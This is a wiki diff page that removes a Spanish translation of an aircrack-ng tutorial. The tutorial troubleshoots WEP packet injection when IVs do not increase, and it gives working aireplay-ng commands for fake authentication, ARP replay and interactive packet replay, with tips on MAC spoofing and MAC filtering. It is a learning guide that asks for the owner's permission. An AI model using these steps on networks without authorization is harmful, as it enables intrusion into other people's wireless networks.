User Tools

Site Tools


spanish_i_am_injecting_but_the_ivs_don_t_increase

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
spanish_i_am_injecting_but_the_ivs_don_t_increase [2007/07/17 08:45] spanishspanish_i_am_injecting_but_the_ivs_don_t_increase [2009/08/14 18:51] (current) – --- mister_x
Line 1: Line 1:
-====== Tutorial: Estoy inyectando pero los IVs no aumentan ====== 
-Version: 1.06 Mayo 23, 2007\\ 
-By: darkAudax\\ 
-Última revisión de la traducción: 17 de Julio de 2007\\ 
- 
-===== Introducción ===== 
-Un problema frecuente se da cuando los paquetes están siendo inyectados pero los IVs no se incrementan. Este tutorial proporciona una guia para determinar la causa del problema y como arreglarla. 
- 
-Experimenta con tu punto de acceso wireless para familiarizarte con estas ideas y técnicas. Si no tienes un punto de acceso, recuerda que necesitas permiso del propietario antes de intentar jugar con él. 
-  
-Quiero dar las gracias al [[http://trac.aircrack-ng.org|Equipo de Aircrack-ng]] por crear esta suite tan potente.  
-Por favor enviame cualquier sugerencia, positiva o negativa. Cualquier problema o idea será bienvenida. 
- 
- 
-===== Solución ===== 
- 
-Esta solución parte de los siguientes supuestos: 
-  * Estás usando drivers parcheados para la inyección. Puedes snifar paquetes con [[http://www.wireshark.org|Wireshark]] para confirmar que verdaderamente estás inyectando. 
-  * Has colocado la interface en modo monitor y en el mismo canal que el punto de acceso. Ejecuta "iwconfig" y comprueba que la interface se encuentra en modo monitor, en el canal correcto (frecuencia), velocidad correcta, etc.  En modo monitor, el "Access Point" es la dirección MAC de tu tarjeta wireless. La salida será algo similar a esto: 
- 
-  ath0      IEEE 802.11b  ESSID:""  Nickname:"" 
-            Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2    
-            Bit Rate=2 Mb/s   Tx-Power:15 dBm   Sensitivity=0/ 
-            Retry:off   RTS thr:off   Fragment thr:off 
-            Encryption key:off 
-            Power Management:off 
-            Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm 
-            Rx invalid nwid: Rx invalid crypt: Rx invalid frag:0 
-            Tx excessive retries: Invalid misc:  Missed beacon:0 
- 
-  * Has ejecutado airodump-ng en el mismo canal que el punto de acceso; usando la opción "-c <número de canal>". 
-  * Estás físicamente suficientemente cerca del AP para enviar y recibir paquetes.  Recuerda que recibir paquetes del punto de acceso no significa que seas capaz de enviarlos al AP.  La fuerza de la señal de las tarjetas wireless es habitualmente menor que la de los AP.  Por lo que has de estar físicamente cerca del AP para enviar y recibir paquetes. 
-  * Estás usando v0.7 de aircrack-ng. Si usas otra versión distinta, algunas opciones de los comandos puede que se escriban de forma diferente. 
- 
-Aegurate de que cumples todos estos requisitos, si no no funcionará lo aquí expuesto.  En los siguientes ejemplos, necesitarás cambiar **ath0** por el nombre de la interface de tu tarjeta wireless. 
- 
-Para que un punto de acceso acepte un paquete, la dirección MAC del cliente debe estar asociada.  Si la dirección MAC del cliente desde el que estás inyectando no está asociada el AP ignorará el paquete y enviará un paquete de "DeAutenticación" En esta situación, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados. 
- 
-La falta de asociación con el punto de acceso es la razón más habitual por la que falla la inyección.  OK, miremos cuales son los síntomas para confirmar que esto está ocurriendo.  Despues expondremos las posibles soluciones. 
- 
-Aquí está la pista típica. 
- 
-Comando de inyección ejecutado (o similar): 
-  aireplay-ng -3 -b <bssid> -h <dirección MAC cliente> ath0 
-  aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0 
- 
-Entonces la respuesta obtenida es: 
-  Saving ARP requests in replay_arp-0123-104950.cap 
-  You should also start airodump-ng to capture replies. 
-  Notice: got a deauth/disassoc packet. Is the source MAC associated ? 
-  Notice: got a deauth/disassoc packet. Is the source MAC associated ? 
-  Read 17915 packets (got 3 ARP requests), sent 5854 packets... 
- 
-Presta atención a los mensajes "deauth/disassoc" Quieren decir que la dirección MAC "00:0F:B5:41:22:17" no está correctamente asociada con el punto de acceso.  En este caso, los paquetes inyectados están siendo ignorados. 
- 
-Otra forma de confirmar que la falta de asociación está causando problemas es ejecutar tcpdump y mirar los paquetes.  Inicia otra shell mientras estás inyectando y escribe 
- 
-  tcpdump -n -e -s0 -vvv -i ath0 
- 
-Aquí está el típico mensaje de error de tcpdump que estás buscando: 
- 
-  11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0f:b5:46:11:19 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station 
- 
-Presta atención que el punto de acceso (00:14:6c:7e:40:80) le está diciendo a la tarjeta (00:0f:b5:46:11:19) que no está asociada.  Lo que significa, que el AP no procesará o no aceptará los paquetes inyectados. 
- 
-Si solo quieres seleccionar los paquetes "DeAuth" con tcpdump puedes usar: "tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth". 
- 
-Ahora que conoces el problema, ¿como se resuelve? 
-Hay dos formas básicas de resolver el problema: 
- 
-  * Asociar la dirección MAC del cliente que estás usando para inyectar paquetes al punto de acceso. 
-  * Reenviar paquetes de un cliente que esté correctamente asociado con el AP. 
-\\ 
-Para asociarse a un AP, usa la autenticación falsa: 
- 
-  aireplay-ng -1 0 -e <SSID> -a <bssid> -h <dirección MACcliente> ath0 
-  aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0 
- 
-Si ha ido bien verás algo como esto: 
-  18:18:20  Sending Authentication Request 
-  18:18:20  Authentication successful 
-  18:18:20  Sending Association Request 
-  18:18:20  Association successful :-) 
- 
-U otra variación para algunos puntos de acceso rebeldes: 
- 
-  aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0 
- 
-Donde: 
-  * 6000 - Reautenticación cada 6000 segundos.  Es el periodo en el que se enviarán paquetes de "sigo aquí" o "keep alive". 
-  * -o 1 - Envia solo un tipo de paquetes de cada vez. Por defecto está configurado para que envie múltiples y esto puede confundir a algunos APs. 
-  * -q 10 - Envia los paquetes "sigo aquí" cada 10 segundos. 
- 
-Si funciona bien aparecerá algo como esto: 
-  18:22:32  Sending Authentication Request 
-  18:22:32  Authentication successful 
-  18:22:32  Sending Association Request 
-  18:22:32  Association successful :-) 
-  18:22:42  Sending keep-alive packet 
-  18:22:52  Sending keep-alive packet 
-  # etc... 
- 
-En este punto, puedes abrir otra shell y probar la inyección.  Si tienes suerte estarás bien asociado y ahora verás aumentar los IVs.  No pierdas de vista la ventana con la falsa autenticación para asegurarte de que estás asociado. 
- 
-===== Problemas típicos ===== 
- 
-  * Hay ocasiones en que a pesar de decirte que estás asociado y que veas que te dice que está enviando paquetes "keep alive", la asociación no está funcionando. Tendrás que parar (con Ctrl+C) y reiniciar (flecha arriba y enter) el comando. 
- 
-  * Con algunos drivers, la dirección MAC de la tarjeta wireless tiene que ser la misma que la dirección MAC con la que quieres inyectar. Por lo que si no te funciona la autenticación falsa prueba a cambiar la dirección MAC por la misma con la que estás intentando la autenticación.  Un programa para hacer esto es macchanger.  Busca en los foros o en internet para ver con detalle como hacer esto.  Por ejemplo en  [[spanish_tuto-fr.com/en/tutorial/tutorial-crack-wep-aircrack.php|este manual]] está explicado de forma detallada 
- 
-  * Algunos puntos de acceso están configurados para permitir únicamente la asociación de una/s direcciones MAC determinadas (filtrado MAC).  Si este es tu caso, no serás capaz de hacer una autenticación falsa, a no ser que conozcas la dirección MAC de un cliente que este incluido en la lista del AP. 
- 
-  * Una dirección MAC es algo como esto: 00:09:5B:EC:EE:F2.  La primera mitad (00:09:5B) de cada dirección MAC sirve para identificar al fabricante. La segunda parte (EC:EE:F2) es única para cada dispositivo.  Algunos puntos de acceso ignorarán direcciones MAC inválidas. Por lo tanto asegurate de usar un código de una dirección MAC que corresponda a algún fabricante. 
- 
-Aquí puedes ver un ejemplo de un fallo de autenticación: 
-  8:28:02  Sending Authentication Request 
-  18:28:02  Authentication successful 
-  18:28:02  Sending Association Request 
-  18:28:02  Association successful :-) 
-  18:28:02  Got a deauthentication packet! 
-  18:28:05  Sending Authentication Request 
-  18:28:05  Authentication successful 
-  18:28:05  Sending Association Request 
-  18:28:10  Sending Authentication Request 
-  18:28:10  Authentication successful 
-  18:28:10  Sending Association Request 
- 
-Presta atención a "Got a deauthentication packet" y los continuos intentos de asociación. 
- 
-Una alternativa es reenviar los paquetes de un cliente que ya este asociado al AP. Así no es necesario usar la autenticación falsa. 
- 
-Tambien puedes usar el ataque de reenvio interactivo de paquetes. Estamos buscando un paquete arp que provenga de un cliente wireless ya asociado y que se dirija al punto de acceso. Sabemos que este paquete arp será reenviado por el AP con un IV. Los paquetes ARP que vienen de un cliente normalmente son de 68 bytes de largo con una MAC de redifusión (broadcast). 
- 
-Por lo que podemos crear el comando: 
- 
-  aireplay-ng -2 -a <bssid> -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 <interface> 
- 
-Donde: 
--d FF:FF:FF:FF:FF:FF - broadcast 
-- m 68 - longitud mínima del paquete es 68 
-- n 68 - longitud máxima del paquete es 68 
-- t 1 - el paquete va dirigido al punto de acceso 
-- f 0 - el paquete no ha sido enviado por el punto de acceso 
- 
-Así veremos cada paquete capturado antes de decidir si lo usamos. Asegurate de que el paquete que selecciones es de un cliente wireless que está asociado con el punto de acceso. 
- 
-Aquí puedes ver un ejemploe: 
-  aireplay-ng -2 -a 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 ath0 
-   
-  Read 202 packets... 
-   
-        Size: 68, FromDS: 0, ToDS: 1 (WEP) 
-   
-             BSSID  =  00:14:6C:7E:40:80 
-         Dest. MAC  =  FF:FF:FF:FF:FF:FF 
-        Source MAC  =  00:0F:B5:AB:CB:9D 
-   
-        0x0000:  0841 d400 0014 6c7e 4080 000f b5ab cb9d  .A....l~@....... 
-        0x0010:  ffff ffff ffff a00f 010a dd00 a795 2871  ..............(q 
-        0x0020:  59e5 935b b75f bf9d 718b d5d7 919e 2d45  Y..[._..q.....-E 
-        0x0030:  a89b 22b3 2c70 b3c3 03b0 8481 5787 88ce  ..".,p......W... 
-        0x0040:  b199 6479                                ..dy 
-   
-  Use this packet ? y 
-   
-  Saving chosen packet in replay_src-0124-120102.cap 
-  You should also start airodump-ng to capture replies. 
- 
-Como puedes imaginar, este comando hizo que se empezasen a generar IVs. 
- 
-  * Algunos puntos de acceso tienen una opción para aislar a los clientes wireless (llamada al menos en los Linksys "AP isolation").  Si esta opción está activada entonces todas las técnicas descritas aquí no funcionaran. La única solución es usar las técnicas descritas en otro de los manuales de darkAudax: [[spanish_how_to_crack_wep_via_a_wireless_client|Spanish: Como crackear WEP con un cliente]] 
- 
- 
-===== Cambios ===== 
-  * Febrero 1/2006 v1.02: Corregidos algunos fallos de ortografia. 
-  * Enero 28/2007 v1.01: Añadido como comprobar si la tarjeta está en modo monitor. 
-  * Enero 24/2007 v1.00: Versión inicial 
  
spanish_i_am_injecting_but_the_ivs_don_t_increase.1184654718.txt.gz · Last modified: 2007/07/17 08:45 by spanish